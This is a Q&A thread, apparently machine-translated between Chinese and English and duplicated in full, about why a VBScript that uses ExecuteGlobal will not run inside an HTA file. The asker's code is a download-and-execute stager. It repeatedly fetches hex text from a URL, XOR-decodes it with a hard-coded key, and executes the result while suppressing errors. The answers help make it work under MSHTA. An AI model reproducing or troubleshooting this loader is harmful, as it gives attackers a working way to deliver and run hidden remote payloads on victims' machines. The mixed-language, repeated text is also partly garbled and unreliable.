在 HTA 文件中使用 ExecuteGlobal()
Usage of ExecuteGlobal() in HTA file
我有一个 vbscript,它在单独执行时工作正常,即
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setOption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
Next:
ExecuteGlobal c:
但是当我将此脚本包含在 HTA 中时,它不会执行 (ExecuteGlobal c:) 即
<html>
<head>
<script language="VBScript">
Sub RunProgram
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setOption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
Next:
ExecuteGlobal c:
End Sub
RunProgram()
</script>
</head>
<body>
</body>
</html>
我认为问题出在 (ExecuteGlobal c:) 部分,它不在 HTA 中执行,但当我单独使用 vbscript 时它执行得很好。
更新答案:
基于 it clear that the issue is in the decoded script you try to run making a reference to WScript
which is an object not accessible outside of the Windows Scripting Host(wscript.exe
和 cscript.exe
)。它在 HTA 中不可用,因为 MSHTA 脚本宿主不支持它。
原答案:
目前的 HTML 代码示例不是 HTA,因为它缺少 <HTA:APPLICATION>
元素。
尝试添加;
<HTA:APPLICATION ID="oHTA"
APPLICATIONNAME="myApp"
BORDER="thin"
BORDERSTYLE="normal"
CAPTION="yes"
ICON=""
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="yes"
VERSION="1.0"
WINDOWSTATE="maximize"/>
到 HEAD
元素内的 HTML。
有用的链接
我有一个 vbscript,它在单独执行时工作正常,即
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setOption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
Next:
ExecuteGlobal c:
但是当我将此脚本包含在 HTA 中时,它不会执行 (ExecuteGlobal c:) 即
<html>
<head>
<script language="VBScript">
Sub RunProgram
On Error Resume Next:
Set a=CreateObject("MSXML2.ServerXMLHTTP.6.0"):
a.setOption 2,13056:
while(Len(b) = 0):
a.open"GET","http://127.0.0.1/hex.txt",False:
a.send:
b = a.responseText:
wend:
k="password":
for i = 0 to Len(b) - 1 Step 2:
c = c & Chr(Asc(Chr("&H" & Mid(b, i + 1, 2))) xor Asc(Mid(k, ((i / 2)mod Len(k)) + 1, 1))):
Next:
ExecuteGlobal c:
End Sub
RunProgram()
</script>
</head>
<body>
</body>
</html>
我认为问题出在 (ExecuteGlobal c:) 部分,它不在 HTA 中执行,但当我单独使用 vbscript 时它执行得很好。
更新答案:
基于 WScript
which is an object not accessible outside of the Windows Scripting Host(wscript.exe
和 cscript.exe
)。它在 HTA 中不可用,因为 MSHTA 脚本宿主不支持它。
原答案:
目前的 HTML 代码示例不是 HTA,因为它缺少 <HTA:APPLICATION>
元素。
尝试添加;
<HTA:APPLICATION ID="oHTA"
APPLICATIONNAME="myApp"
BORDER="thin"
BORDERSTYLE="normal"
CAPTION="yes"
ICON=""
MAXIMIZEBUTTON="yes"
MINIMIZEBUTTON="yes"
SHOWINTASKBAR="no"
SINGLEINSTANCE="no"
SYSMENU="yes"
VERSION="1.0"
WINDOWSTATE="maximize"/>
到 HEAD
元素内的 HTML。